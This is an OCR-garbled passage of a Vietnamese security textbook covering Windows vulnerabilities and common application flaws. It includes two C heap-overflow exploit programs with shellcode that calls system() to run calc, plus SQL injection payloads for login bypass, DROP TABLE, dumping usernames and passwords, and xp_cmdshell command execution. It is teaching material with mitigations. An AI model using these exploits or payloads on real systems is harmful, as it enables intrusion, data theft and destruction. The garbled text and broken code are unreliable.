dung méi khi mot ddi twgng OLE duoc kich hoat, thi ngudi ta thiét 1ap sin mot
bd menu item trong tng dung dang dung dé khi OLE duoc kich hoat, nhitng
menu [tem nay ciing c6 thé st dung duge.

16.4./ Giai phip khic phuc

Cap nhat phién ban v4 161 méi nhit ciia nha cung cép.

17./ Léi trong thw vién d6i twong siéu lién két
17.1./ Mitrc d6 tac dong ciia 16i

Lbi nay cé tac dong nghi€m trong, cho phép ngudi tan cong dung mi 16 cha
minh dé tin cong.

17.2./ Céc h¢ théng 4nh huéng

e Microsoft Windows 2000 Service Pack 3 va Microsoft Windows 2000
Service Pack 4

* Microsoft Windows XP Service Pack 1 va Microsoft Windows XP Service
Pack 2

* Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
» Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
¢ Microsoft Windows Server 2003

e Microsoft Windows Server 2003 for Itanium-based Systems

e Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), va
Microsoft Windows Millennium Edition (ME)
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17.3./ Nguyén nhin

MGt vige thuc thi ma 18i tdn tai trong thur vién ddi turgng siéu lién két. L6i nay
ton tai do mot b dém khdng dugc kiém tra trong khi thyc hién siéu lién két.
Mot ké tin cong cb thé khai thac 16i nay bang cach xay dung mdot siéu lién ket
mang 15i ma c6 kha ning tiém ting din dén viéc thyc thi ma 161 da dugc viét
san mét khi ngudi dung click vao mot dudng link nguy hiém c6 trong web site
hogic mot 14 thu qua email. Ké tin cong mét khi khai thac 16i nay thanh cong c6
thé kiém soat toan bd hé théng bi anh hrong. Tuy nhién, dé 151 nay xay ra, cin
¢6 su twong tic véi user. Thu vién dbi twong siéu lién két (hyperlink object
library) 14 mét tdp hop céc giao dién 1ap trinh ung dung. Nhimg giao dién nay
cung cap chirc nang cho nha phat trién phin mém dé tién hanh thyc hién cac
siéu lién két dong.

Néu mot user di log vao vai quyén admin, khi ké tan cong thanh céng trong 16i
ny co the co toan quyen xem, thém, xod, sira tit cd cac tai nguyén trong hé
thong bi tin cong, ddng thoi cb thé tao ra nhitng user account mdi ¢d ngang
quyén voi user admin.

17.4./ Giai phap khic phuc

Cap nhét ban v4 16i clia nha san xuat.

18./ L6i Trong Message Queuing
18.1./ Mirc dd tic dgng cia 16i

L&i nay c6 tic ddng quan trong, cho phép ngudi tin cong ding m3 16i ciia minh
dé tan cong.

18.2./ Céc hé thong 4nh hwimg

¢ Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000
Service Pack 4

e Microsoft Windows XP Service Pack 1

e Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)

e Microsoft Windows 98 and Microsoft Windows 98 Second Edition (SE)
18.3./ Nguyén nhén '

Theo mic dinh, thanh phan Message Queuing khéng dugc cai dit vao trong bét
ki phlen ban hé didu hanh bi tc dong nao, chi khi khach hang ty cai dat thanh
phan nay vao thi 16i ny c6 kha ning hoat dong.

Viée cai dit Message Queuing chi di voi MSMQ HTTP Message Delivery to
the Internet 1a khéng c6 kha ning giy ra 15i.

L3i nay gdy ra do mét buffer khong dugc kiém tra trong thinh phin Message
Queuing.

Message Queuing la gi? Cong nghé Microsolf Message Queuing cho phép
nhitng ing dung dang chay tai nhimg thai diém khac nhau c6 thé giao tiép véi
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nhau théng qua nhimg mang khdc nhau va nhitng hé thong tam thoi khéng
dugc bat 1én. nhitng ang dung nay gdi nhimg thong diép t&i hang doi va doc
thong diép tir hang doi. Message Queuing cung cap viéc giao phat message
duoc bao dam, 19 trinh hiéu qua, bao mat, va viéc chuyén message dua trén thir
tir vu tién. N6 cling ¢6 thé dugc sir dung dé thuc hién nhimg giai phap cho ca
hai ngit canh truyén thong diép. L01 ndy cling ¢6 thé dugce khai thac thong qua
Internet bing cach sir dung nhitng céng RPC.

18.4./ Giai phap khic phuc

Cap nhat ban v4 13i ciia nha san xuat.

19./ Léi trong TCP/IP va Denial of Service
19.1./ Mirc d6 tic ddng caa 16i

L3i nay c6 tc dong kha nghi€m trong va cho phép ngudi tin cong dung ma 16i
ctia minh dé tin cong.

19.2./ Cac hé théng anh hwéng

¢ Microsoft Windows 2000 Service Pack 3 va Microsoft Windows 2000
Service Pack 4

e Microsoft Windows XP Service Pack 1 va Microsoft Windows XP Service
Pack 2

¢ Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
o Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
o Microsoft Windows Server 2003

o Microsoft Windows Server 2003 for Itanium-based Systems

¢ Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), va
Microsoft Windows Millennium Edition (ME)

19.3./ Nguyén nhin

Khi c6 mdt ma 16i dung dé’tén cong, ké tAn cong dugc phép goi mét IP
message nguy hiém dén hé tI}(‘mg chiu anh hwdng. 1\_/[{)t ké tan cong khi da khz_li
thac thanh cdng 16i ndy c6 the gly cho hé thong bi 161 bang céach thuc thi ma 16i

tir xa. Tuy nhién, nhimg nd lyc khai théc 15i nay hiu hét déu mudn gy nén 16i
DoS.

Viéc tn cong nay can nhimg 19 trinh hudng toi nhimg goi tin di thudng trén
mang 1P. Hau hét nhitng 1§ trinh s€ khong dan dén nhitng loai goi tin di thudng
nay. Firewall va cdu hinh méc dinh cua Firewall c6 thé c6 ich trong vi€c bao v¢
khdi bi nhitng tAn cong bt nguon tir bén ngoai. Phuong phap tdt nhét dé bao
vé hé thong khoi tin cong 1a ddi vai nhimg hé théng két ndi Internet phai gioi
han t01 da s6 cbng duge ma.  Nhitng hé thong bi anh hudng ma cho phép bét ki
két ndi IP nao vao internet déu cé nguy co méc nhing 16i nay.
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Néu dang & ché dd duoc bat 1én, Internet Connection Firewall s& giam nhe
nhtmg 16i nay trén Windows XP Service Pack 1. Windows XP Service Pack 2
va Windows Server 2003 1am cho chiing khéng bi 15i.

L4i nay xay ra do nhitng hé diéu hanh bi tic déng chwa hoan tit viéc phé chudn
nhitng g6i tin IP trén mang. Trong do, IP 1a viét tit ciia Internet Protocol 13 mgt
phin cuaa phuong thixe TCP/IP. TCP/IP 12 mét tap cac phuong thirc mang duoc
st dung réng rai trén Internet. TCP/IP cung cap su truyén thong thong qua
nhitng may tinh ¢6 ndi mang véi nhau va nhimg méy tinh niy cé cau hinh phan
cung khac nhau, chay trén nhiéu hé diéu hanh cing khic nhau. TCP/IP bao
gdm nhimg chudn de 1am thé ndo cho cac may giao tiép véi nhau va nhimg quy
udce cho viée két ndi mang va tim dudng trén mang.

Mot 161 DoS khi tdn tai s& cho phép nhimg ké tin cong go1 mdt phuong thirc
truyén thong di€p trén internet (Internet Control Message Protocol - ICMP) va
go1 tdi hé théng bi anh huéng. Mét ké tin cong mot khi da thanh cong véi vige
tin cong nay cé thé 1am cho hé théng bi anh hudng phai reset lai nhimg két ndi
TCP dang ton tai.

19.4./ Giai phap khic phuc

Dung phién ban v4 16i clia nha san xuat.
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CHUONG IV , o o
CAC LOAI LOI DO VIEC PHAT TRIEN UNG DUNG VA GIAI
PHAP PHONG CHONG

Trong da sb cac img dung quan ly hién nay (hu hét 1a do don vi ty phat trién
hoédc thué mudn ciac edng ty phan mém gia cong véi gia ré) ludn tiém tang cac 16
héng bao mat. Hiu qua do nhirng 15 hdng nay gay ra thuomg tity thude vio tim quan
trong cua mg dung ddi véi t6 chic sir dung ching. Nguyén nhén cua nhing 16 hdng
ndy 13 do sir han ché nhén thirc v& bao mét ctia doi ngfi phét trién img dung.

Phan nay trinh bay nhing kiéu 18 hong thong dung nhit ma nhitng ngu&i phat
trién {mg dung thudng hay mic phai.

1./ L&i tran bd dém (buffer overflow)

Dy 1a loai 15i thuong cd dbi v6i nhitng img dyung muc thip, mirc hé théng.
Hiu qua cta loai 16i nay thudng rat nghiém trong, cho phép nhimg ké tin cong
dwoc toan quyén trén hé théng bi tin cong

1.1./ Co ché cia 13i

Nguyén nhin chu yéu gay ra 15i nay 1a nhimg doan code viét do sy sai sét cia
nhitng ngudi lap trinh gy nén hodc do su bd sot cia ngudi thiét ké (ng dung
trong viéc quét cac kha niang kiém tra dir liéu dau vao. Do sy bit cAn d6 ma céc
bd dém duoc cAp phat trén heap hodc stack khéng c6 mdt co ché kiém tra
ludng nhap khi sao chép ludng nhip nio vao bd dém. Viy mot diéu ditra &
day 1a khi mot ludng nhap c6 kich thudc 1dn hon bd dém da dugc cdp phat thi
sa0. Mot 1& di nhién mét 15 s& dugc tim thiy ma ta goi d6 12 13i tran bd dém.
Nhu ta biét bd dém khi dugc cdp phat co thé duge cip phat hai vi tri trong
viing stack tuy nhién vé sau vi Iy do bao mat thi cac nha thiét ké lai chuyén céc
bd dém vao trong heap. Vi vy ta s& chi ¥ nhiéu vé cac 131 tran b6 dém trén
heap (tuy nhién ciing tuong tung nhung trén stack vé co ché ).

Khi mét tién trinh dugc tao thi bd nhd cip phat cho né mdt ving nhé c6 chu
tric ta tam goi nd 1 viing nhd cla tién trinh. Cau triic vung nhd cia mot tién
trinh c6 thé md ta nhu hinh sau:
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high adresses| .
9 env strings

argv strings

env pointers

argv pointers

arge

stack

}
[

. heap

bssg

.data

text
low acresses

Trong d6 phén dau lwu tri cac bién moi truong cua tién trinh, nhu : env strings,
env pointers, argv pointers. Phin ké tiép 1a Stack va Heap, ching dwoc cdp
phét lic thuc thi. V& co ban stack luu trit céc ddi sb ciia ham, bién cuc bo, va
mdt s thong tin cia tién trinh cho phép nhén lai trang thdi cua stack trude khi
goi ham. Con vé Heap hwu trir cac bién cdp phat dong. tiép theo la phén .bss va
.data 13 hai phén chira bién toan cuc. trong d6 .data chira cic bién di khéi toa
gia tri, con nguoc lai .bss chira cic bién chuwa dugc khoi tao. con lai 1a phé‘m txt
chira ma ctia chuong trinh. Cac phan .data, .bss, .text, dugc cip phat tai thoi
gian bién dich.

1.2./ Tran b§ dém stack

Khi mdt ham dugc goi thi tién trinh huu trir dia chi cia dong 1énh ké tiép trong
stack thong qua con tr6 EIP vi vy trong phuong phap tin cong nay ta cd thyc
hién thay dbi dia chi dugc luu trit trong EIP thanh mét dia chi trd t6i mét doan
mi ctia ngudi tn cong goi 1a shellcode bang cach lam tran bd dém, va khi ham
thuc hién xong tra vé gia tri huu trir trong EIP lai thuc hién shellcode cua ngudi
tin cong.

1.3./ Tran bd dém heap

Heap 1a mdt ving nhd do bd quan 1y heap cép phdt dong. Bo quan Iy heap la
mdt tdp hop cac ham cho viée cap phat va giai phong bg nhé (vi dy nhu Win32
thi cic ham nay nim trong hai thu vién ntdll.dll, ntoskrnl.exe). Khi mdi tién
trinh dugc goi n6é dugc cap phdat cho mét ving nhé chira heap. Nhu trong
Win32 thi viing heap mic dinh 1a IMB va c6 thé ting 1én trong qua trinh thuc
thi ctia tién trinh. Ving nhé heap dugc cip phat theo timg chunks, mai chunk
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1a mdt don vi cap phat va co kich thudc 8- bytes Chinh vi thé ma kich thude

cta ving dugc cap phat goi 1a block 12 mét s6 chia hét cho 8. vi du nhu ta cin
mdt khdi 24-bytes thi ta dung 3 don vi cap phat thém vio do6 dé cho viéc quan
ly tlrng block dugc cip phat thi ngudi thiét ké Heap gan thém vao mdi block

mot so thong tin goi la header. Viy kich thudc that sy cap phat 1a kich thudce
header cdng vdi kich thudc cua khéi cip phat duoc 1am tron 1én mét s6 chia
hét cho tim gin nhit. mdt block c6 hai trang thdi la trang théi free & trang théi
nay né chua dugc dung, va nguoc lai la trang thai busy.

Size Previous Size

Segment Index Tag
= Flags Unused

' Index

Header cua block & trang thai Busy

Size Previous Size
Segment Index Ta
Flags Unused s
Index
Flink
Blink

Header cua block ¢ trang théi Free.

Tén Trudng M6 Ta

Size Kich thudc cua block, 1a (kich thudc thit sy cia block
yéu cdu cép phat + kich thudc header) /8

Previous Size La kich thuéc cua block ké trirde né, (kich thudce that sy

cia block yéu cu cp phat + kich thuéc header)/8.

Segment Index La chi rriuc Segment cla noi ma block dugc cp phit.

Flags La cac cO ¢ cac trang thai sau.

. 0x01 - HEAP _ENTRY BUSY.

- 0x02 - HEAP_ENTRY EXTRA PRESENT.
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- 0x04 - HEAP_ENTRY_FILL_PATTEN.
- 0x08 - HEAP_ENTRY_VITUAL_ALLOC.
- 0x10—HEAP ENTRY LAST ENTRY.
. 0x20-HEAP ENTRY SETABLE FLAGI
- 0x40 - HEAP ENTRY SETABLE FLAG2

- 0x80 - HEAP_ENTRY_SETABLE_FLAG3

Unused | Sé luong cia nhitng byte chwa duge ding.

‘Tag Index

Flink (forward | La con trd chi téi mot khdi Free ké tiép né,con tro nay

link pointer) chiém 4 bytes.

Blink (backward | La con trd chi té1 mot khéi Free trude no, con trd nay

link pointer) chiém 4 bytes.

Trong viéc quéan Iy cac block free thi kich thuée cdp phat ciia cac block d6 rat
quan trong vi cac block c6 cing mét kich thudc tao thanh mét danh séch lién
két doi goi 1a Freelist. C6 128 danh sach lign két nhur vdy va dugc luu trit trong
mot diy theo thir tu kich thuée cac block trong danh sach. Trong ddy nay thi tir
vi tri 2 — 127 luu trit nhitng danh sach ma méi block ctia ching ¢6 kich thuéc
twong ¥ng voi chi muc cia ching. Vi du danh sach cac block ¢6 kich thude 24
thi dugc luu trir & muc 24 ( freelist[24] ). Vi tri 0 ding dé luu trir cac danh sach
ma block ctoa ching 16n hon 127*8 bytes= 1016 bytes. Va chi myc 1 khong
duoc dung vi block 8 bytes khong tén tai.

Free {ist N Frae entry Last Free entry
... ... .|
F ok (Naxhock! | Fax ; i Fink

. ave "
Einu Pray Bipck Bl=k L Y

doubly-linked freelist

Ngoai ra dé t8i wu téc d6 cdp phat cita nhitg block nho hon 1016 bytes thi hé
théng thém vao 128 danh sach lién két don goi 1a danh sach lookaside, luc khdi
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déu thi danh sach nay rong, va chi ting phin tir khi c6 mdt block duge gii
phéng. Trong qué trinh cdp phat hay glal phoéng cac block ciia lookaside thi hé
théng ludn kiém tra cac block twong tmg cta Freelist trude.

Trong qua trinh cip phat Heap luén c6 nhitng tién trinh ty dong dleu chinh sb
lwgng cac free block dwoc lwu trit trong danh séch lookaside. Viée sdp xép céc
block ndy vao cac danh sach khong theo thir tw nhu danh sach Freelist ma theo
tan sd cdp phat, cdc kich thudc ndo cang thudng dugc cdp phat thi cang dugc
sip trong cing mdt danh sich lookaside. Va nhimg danh sach khong dugc
diing thi hé thong sé& giai phong cho hé théng. Céu tric ciia mét lookaside nhur
sau.

Lookaside fist N Free entry Free entry

Flirk Flirk NULL

singly-linked lookaside list

Heap header

¥

Fros st
Fres ist 1
Fres lst2

Frae Ty " Frae Sniry

Free list 127 ” Frae Srury

Lookaside fist {
Lookaside list 1
Lookaside fist 2 ¥ Free Enary » Free Entry ¢ MULL

Lockaside |ist 127

T4 chirc heap
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Véi mét cu tric nhu trén thi khi cép phat mét block thi gid tri céc con trd
Flink va Blink ciing dugc thay déi, khi sir dung block nay ta c6 thé lam ghi d&
1én gia tri cac con tro, va hic duge giai phong thi cdc gia tri con tro dugc thay
d6i va xay ra hién twong unlinking tirc 1a cac danh sach bi gian doan tai block
vira méi giai phéng. Vdy diéu gi Xay ra néu ngudi tin céng lam chu dugc hai
con tro Flink va Blink ma thyc té co thé nhu viy, di nhién ho s& ¢6 thé trién
khai mét dia chi gia tri 32 bits (vi kich thuéc cua con tré 1a 4-bytes) dé huéng
téi mdt chuwrong trinh thuc thi ma ho tao nén d6 14 mdt su vi pham truy cép.

Block_reader
Overflow
buifar . direction
Block_header
Blink " _\}
Overflow block

Tuy nhién véi cic phién bin Windows XP SP2 va Windows 2003 trds vé sau thi
trén danh sach lién két doi Freelist c6 mét co ché cho phép kiém tra sy cdp phat
va giai phong xem céc gia tri con tré c6 hop 1€ hay khdng trude khi thuc hién
dira block nay vio trong danh sach ta goi 12 co ché safe unlinking. Va trong
block header duge thém vao mét phin goi 1a cookies chira mét token duge tinh
todn trude tir dia chi cua header va mét con sb ngau nhién dugc phét sinh trong
qué trinh tao heap. Cookies diing dé kiém tra su toan ven cua header. Tuy
nhién token nay chi dugc kiém tra khi giai phong block va xéa block khoi danh
sach. Tir d6 viéc overflow trén danh sach ddi Freelist tr& nén khong cé didu
kién.

Tuy nhi€n chung ta da quén di danh sach lién két don Lookaside chiing ta s&
khao sat & day dé xem c6 thé duoc nhitng gi? Ve mit k¥ thudt thiét ké thi cdu
tric danh sach Lookaside 1a & tdi uu toc d cap phat cic block nho hon 1016-
bytes chinh vi thé ching khéng ¢6 co ché klem tra con trd, tham chi khdng cé
cookies & day ngum tin cong khai thic diém yéu nay. Bay gid ta xem qua trinh
cip phat mét phan tir trong danh sach Lookaside dién ra nhur sau.
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Diu tién muc bit ddu cia danh sich (Lookasxde Entry) c6 mét Dword lam c& &
trang thii busy, tuy nhién n6 ludn sin sang cho mét sy c4p phat. Khi cap phat
thi phan tr dau tién cia danh sach dugc ldy ra, don gxan chi ra sy thay d6i con
tré Flink cua muc bt diu bing con tré Flink clia phan tir vira cap phat. Ta s&
mo ta nhu hinh sau.

re giocaii

Chunk A

Lockaside sntry Chunk 8

A {FLInk) -

B (FLink)—

(FLink -— —Pr

After aficcaticn of ghgnk_ A

Churk B

Lockaside antry

8 (FLink)

(FLil’l k} R S »

Qua Trinh C4p Phat M6t Phin Tir Trong Lookaside

Viy khi ta overflow phin tir (block) ké tlep phan tir duge cap phat, thi chuyén
gi xay ra? Tét nhién khi d6 Flink cua myc bit dau danh sach s& bi overwrite téi
mdt gid tri khac ma ngudi tin cong c6 thé lam chi. Viy 13i xay ra.

Tir nhitng van @€ trén ta c6 the€ suy dién ra mdt 16i trén Lookaside s€ xay ra néu
cac diéu kién sau thoa:

a. Cép phat mét block c6 kich thude N (N<1016-bytes).
Giai phong block nay.

c. Overflow block ké trrdc block nay.

d. Cép phat mot block c6 kich thude N-bytes.

e. CAp phat mot block c6 kich thude N-bytes thi hai.

o

Nhu vay dé cac diéu kién nay xay ra 12 mét diéu khong dé dang 1am. Tuy nhién
161 nay ciing da dugc khai thac nhu trong doan code sau viéc chay mot doan
code cuia ngudi tan cOng overwrite:

#include<stdio.h>
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#include<windows.h>
#include<stdlib.h>
unsigned char calc_code[]=
"x33IxCOx50\x68\x63\x61 \x6Cx63\x54\x5B\x50\x53\x B9"
"x04\x03\x02\x01"
"XFFxDI\XEB\xF7";
void fixaddr(char *ptr, unsigned int a)
{
ptr[0]=(a& OxFF);
ptri1]=(a&0xFF00) >> §;
ptr[2]=(a&0xFF0000) >> 16,
ptr[3}=(a&0xFF000000) >> 24;
h
mt getaddr(void)
{
HMODULE lib=NULL,;
unsigned int addr_func=0;
char a[4];
lib=LoadLibrary("msvcrt.dll");
if(lib==NULL)
{
“ printf("Error; Loadlibrary failed...\n");
return -1;
}

addr_func=(unsigned int)GetProcAddress(lib,"system");
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if{addr_func==0)
{
printf("Error: GetProAddress failed...\n"),
return -1;
} .
printf(" Address of msvert.dll!system(): %OSX\H ",addr func);

fixaddr(a,addr_func);

" memcpy(calc_code+13,a,4),

h

printf("%s",calc_code);

return O;

int main{int argc, char **argv)

{

HANDLE h=NULL;
LPVOID mem!=NULL, mem2=NULL, mem3=NULL;
unsigned char shellcode[128];
if(getaddr()!=0)
return O;
h=HeapCreate(0,0,0);
if(h==NULL)
{
printf("Error: HeapCreate failed...");
return O,

}

printf("Heap: %08X\n" h),
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menil=HeapAlloc(h,0,64—8); |
printf("Heap block 1: %08X\n",mem]1);
mem2=HeapAlloc(h,0,128-8);
printf{"Heap block 2:%08X\n", mem2);
HeapfFree(h,0,mem1);
HeapFree(h,0,mem2});

mem |=HeapAlloc(h,0,64-8);

prontf("Heap block 1: %08X\n",mem1);

memset(mem1,0x31,64);
memcpy((char*)mem1+64, "x84\xFF\x 12\x00" 4);
mem2=HeapAlloc(h,0,128-8);

printf("Heap block 2:%08X\n",mem?2);

mem3=HeapAlloc(h,0,128-8);
ﬁﬁntf("Heap Block 3:%08X\n",mem3);
meﬁset(shellcode,o,sizeof(shellcode)-1);
memcpy(shellcode,"\x8B\x FF\x12\x00" 4);

memcpy(shellcode+4,"\x90\x90'\x90\x90" 4);

memcpy(shellcode+4+4,calc_code,sizeof(calc_code)-1 Y;

printf("Shellcode:%s",shellcode);
memcpy(mem3,shellcode,sizeof(calc_code)-1+8);

return 0;
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Va sau ddy 12 mdt doan code cho phép bypass qua su bao vé heap.

#include<stdio.h>
#include<windows.h>
#include<stdlib.h>

unsigned char calc_code[]=

"\x33xCOx50\x68\x63\x61\x6C\x63\x54\x 5 B\x50\x 53\x B9"
"x04\x03\x02\x01"
"XFF\xD1\xEB\xF7";

void fixaddr(unsigned char *p!;r, unsigned int a)
{
ptr[0]=(a& OXFF);

ptr[1]=(a&0xFF00) >> 8,

ptr[2]=(a&O0xFF0000) >> 16;

ptr[3]=(a&0xFF000000) >> 24;

}
int getaddr(unsigned char *a)
{

HMODULE lib=NULL;

unsigned int addr_func=0;

lib=LoadLibrary("msvert.dll");

if(lib==NULL)
{
printf("Error: Loadlibrary failed...\n");
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return -1;
}
addr_func=(unsigned int)GetProcAddress(lib,"system");
if(addr_func==0)
{
printf("Error: GetProAddress failed...\n");

return -1;

)

}

printf(" Address of msvert.dll!system(): %08X\n\n",addr_func),
fixaddr(a,addr_func); |

return 0;

int main(int argc, char **argv)

{

HANDLE h=NULL,
LPVOID mem1=NULL, mem2=NULL, mem3=NULL;
unsigned char shellcode[128];
*if(getaddr()!=0)
7 return O;*/
h=HeapCreate(0,0,0);
if(h==NULL)
{
printf("Error: HeapCreate failed...");

return O;
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printf{("Heap: %08X\n",h);
meml=HeapAlloc(h,0,64-8);
printf{"Heap block 1: %08X\n",mem1);
mem2=HeapAlloc(h,0,128-8);
printf("Heap block 2:%08X\n",mem?2),
HeapFree(h,0,mem]l);
HeapFree(h,0,mem2);
memIl=HeapAlloc(h,0,64-8);

printf("Heap block 1: %08X\n",meml);

memset{mem1,0x31,64);
memcpy({char*)mem1+64,"\x84\xFF\x12\x00" 4);
mem2=HeapAlloc(h,0,128-8);

printf("Heap block 2:%08X\n",mem2);

mem3=HeapAlloc(h,0,128-8);
printf("Heap Block 3:%08X\n",mem3);

memset(shellcode,0,s1zeof(shellcode)-1);

getaddr(&shellcode[0]);
memcpy(shellcode+4,"\x32\x32\x32\x32" 4);
memcpy(shellcode+8,"\x94\xFF\x 12\x00" 4);
memcpy(shellcode+12,"\x31\x31\x31\x31",4);
memcpy(shellcode+1 6,"calc",4);

memcpy(shellcode+20,"x0a'\x31\x31\x31" 4);
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memcpy(mem3,shellcode,24);

return O;

}

1.4./ Giai phap phong tranh
e Thuc hién kiém tra k§ cac dit liéu diu vao trong khi lap trinh.

o Ngudi thiét ke Ung dung cin phai can than trong viéc ra soat cac kha ning
ciia dit liéu dAu vao dé thiét ké ra cac budc xir Iy c6 thé bao phi hét moi
truong hop cua dit lidu.

 Phai hiéu rd va ludn cip nhat phién ban mdi nhét cla nhitng thu vién hé

. thong dugc sir dung trong viéc phat trién Gng dung.

2./ Lbi chén ma SQL (SQL injection)
2.1./ Co ché 15i

SQL injection 12 mdt k¥ thuat tin cong khai thac I8 hdng ciia viéc tao ra céc
phat biéu SQL cua nhimg Gmg dung cd trong tac voi co sé dir lidu.

Hién nay, hiu hét tit ca cac img dung déu co sir twong tic voi co so dit lidu, va
hau nhur viée yéu cu dir liéu déu do ngudi dung dua ra. Do d6, khi tao ra mjt
phat biéu SQL nao do, ngudi 13p trinh thudng s& dung nhitng dir liéu ngudoi
ding yéu cau dé xdy dung nén phat bidu d6. Nhimg cude tin cong dién hinh
thudmg khai thac diém nay dé thuc hién tin cong bang cach truyén mét sé dir
litu ma ngudi 1ap trinh khéng hromg trude duge nhung vin tac dugc mét phat
biéu SQL dting. Nguyén nhan cia 16i SQL Injection thudmg 13 do sy thiéu sot
trong viéc sang loc dir liéu.
Pé hiéu rd vé co ché tin cong ciia SQL injection, ta s& khao sat qua mot s6 vi
du dién hinh.
e Vi du 1: khio sat mot form diing nhap phd bién cia cic img dung quan Iy
diung co so dir liéu SQL Server.
Thong thuong mét form ding nhép s& cho phép ngudi ding nhdp vao user
name va password, sau dé doan ma xir ly s& tao ra phdt biéu SQL tvong ty

nhu sau dé thuc hién viéc kiém tra user name/password nhip vao co hop 1€
hay khong:

SELECT * FROM tbiUsers WHERE Username="+ txtUsername + ’-AND
Password="+ txtPassword + ’

Véi txtUsername va txtPassword 12 hai gia tri do ngudi dung nhép vao.

Dua vao su thleu cin trong trong viée xr ly cac ky tu dic biét cia nguoi lap

trinh truy xuét co s& dir liéu, ké thn cdng s& nhép vao form vdi username va
password nhu sau:
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User name = 'OR '’=’

Password = "OR "'=’
Phat biéu SQL két qua s& nhur sau:
SELECT * FROM tblUsers WHERE Username=""0OR *'=""AND
Password=""OR ''=""
Phat biéu SQL ludn c6 két qua tra vé nhu mong dgi, do d6 viéc ding nhdp
luén duge thuc hién thanh cdng trong moi trudng hop.
Vi du 2: khao st mét img dung quan ly san phdm dya trén web va co s dit
liéu SQL Server
Trong {ng dung nay, ngudi dung nhip ma s6 san phdm d& xem thong tin chi

tiét vé san phim do6. Yéu clu duoc giri dén co sé dir liéu thong qua mot phat
* bidu SQL nhu sau:

SELECT ProductName, ProductDescription FROM Products WHERE
ProductNumber = ProductID

Véi ProductID duoc nhén tir trinh duyét thong qua phuong thic POST hodt
GET. Khi nhin duoc ProductID, phia médy chi xir 1y s&€ nhan va xay dung
phat biéu SQL dé giri dén co s& dir liéu bing ngén ngfr kich ban phia may
chi (PHP, ASP, JSP, CGI, ...). Vi du nhu déi v6i ngdn ngir ASP, phat biéu
SQL sé& duoc tao ra bang doan ma sau:

SELECT ProductName, ProductDescription FROM Products WHERE
ProductNumber = & Request.QueryString(“ProductiD”)

Request. Query Stringt“Product]D™) €6 thé nhén tham 56 truyén dén may chu
bang phuong thirc POST hodc GET. Vi du bang phuong thirc GET nhu sau:

http://www. yourdomain.com/products/products.asp? ProductID=1234
Tuong mg v6i yéu ca‘“lu’ nay, b dich ciia ngén ngir kich ban phia mdy chu s&
tao ra phat biéu SQL két qua nhur sau:

SELECT ProductName, ProductDescription FROM Products WHERE
ProductNumber = 1234

Duya vio su thidu cin _trong trong viéc kiém tra kiéu dir lidu cia ngudi lap
trinh va co ché ¢ the cho chay nhiéu lénh SQL trong cung mét phat biéu

cia SQL Server, ké tAn cong sé nhdp dir lidu ciia minh d& thyc hién nhirng
cudc tAn cdng c6 hiu qua nghidm trong.

Pé x6a mot bang Products trong co s& dir ligu, ke tan cong c6 thé giri dén
may chil yéu cdu nhu sau:

http://www. yourdomain.com/products/products.asp? ProductID=1234;
DROP TABLE Products--

Phat biéu SQL tuong tmng s& nhu sau:

SELECT ProductName, ProductDescription FROM Products WHERE
ProductNumber = 1234; DROP TABLE Products--
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pé ldy thong tin vé tit ca user name, password trong co s& dir liéu, ké tin
cong ¢6 thé giri dén may chii yéu ciu nhu sau:

http://www.yourdomain.com/products/products.asp? ProductID=1234
UNION-SELECT Username, Password FROM Users

Phat biéu SQL twong img s& nhu sau:

SELECT ProductName, ProductDescription FROM Products WHERE
ProductNumber = 1234 UNION SELECT Username, Password FROM
Users

Nguy hidm hon nira, dé chay mot 1énh cia hé diéu hanh, ké tin cdng co thé
str dung stored procedure master..xp_cmdshell cia SQL Server bing cich
gui den may chi yéu ciu nhu sau:

. htip://www.yourdomain.com/products/products.asp? ProductID=1234;
EXEC master..xp_cmdshell 'dir C:\'--

Phat biéu SQL tuong (tng s& nhu sau:

SELECT ProductName, ProductDescription FROM Products WHERE
ProductNumber = 1234 EXEC master..xp_cmdshell “dir C:\" --

Bing céch nay, ké tAn cong c6 thé thuc thi cac 1énh gxong nhu lam viée
trong 1 cira s0 command prompt. Tir viéc shutdown hé thong dén x6a sach
toan bd hé thdng hay tai virus, backdoor d& cai vao hé théng.

2.2./ Giai phap phong trinh

o Piay 1a mot 15 héng thuwdmg méc > phai chu yéu do han ché v& nhan thirc bao
mét clla ngudi 18p trinh do do6 din dén nhitng so xut trong ma xir ly Déng
thoi viéc thiét 1dp cAu hinh cho 0o s dir liéu ciing chua thét sv t6i wu do
nhitng ngudt chiu trach nhi€ém vé co s& dit liéu chua hiéu sdu vé co s& dir
liéu do minh dam trach.

e Dé tranh duoc nhimg 15 hdng trén, cin phai cdu hinh phin quyén cho co s&
dir liéu that sy rd rang dé tranh nhimg ké tin cong tir bén ngoai théng qua
nhimg ng dung (thuong la website) c6 thé loi dung stored procedure
xp_cmdshell ¢ pha hoai hé théng. Vi du: tng véi mdi img dung truy cap
vao mét co s& dir liéu nhét dinh thi ngudi quan trj cin tao mot ngudi ding
riéng cho viéc truy cdp théng tin vao co s¢ dit liéu d6 va chi dinh cho nguoi

ding nay chi dugc phép truy cap vao duy nhit mot co s¢ dit liéu vdi quyén
théng thudng la public.

e Tranh tinh trang 14 c4c mg dung ding ngudi dung “sa” dé dang nhap vao co
s& dir liéu.

e V& phia canh 14p trinh, ngudi 14p trinh cn phai thyc hién kiém tra bét 13i k§
¢ nhimg phin nhin thong tin nhu textbox, combobox, querystring... Trong
vi du 2, néu ngudi ldp trinh c6 thyc hién kiém tra kiéu dit lidu ctia ProductID
thi chic chin phat biéu SQL cta ké tan cong s€ khong c6 co hdi dugc tao ra

(vi kidu dir liéu ctia ProductID 1 s nguyén, trong khi d6 ké tin cong nhap
vao mot chudi 1234; Drop...)
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e Cin kiém tra bét hét nhimg ky tu dac biét dbi V@i co s¢ dir liéu dang sir

- dung. Vi du di véi SQL Server thi can phai kiém tra phat hién ddu nhay
don, nhay kép, gach noi... Trong vi dy 1, néu ngudi 14p trinh ¢6 thue hién
klem tra bt va xur Iy thlch hop cho diu nhay don va thi phat biéu SQL cia
ké tin cong s& khéng ¢6 co héi dugce tao ra hodc néu dugc tao ra thi ciing bi
vd hiéu hoa.

3./ L héng ciaa chinh sich bio mit
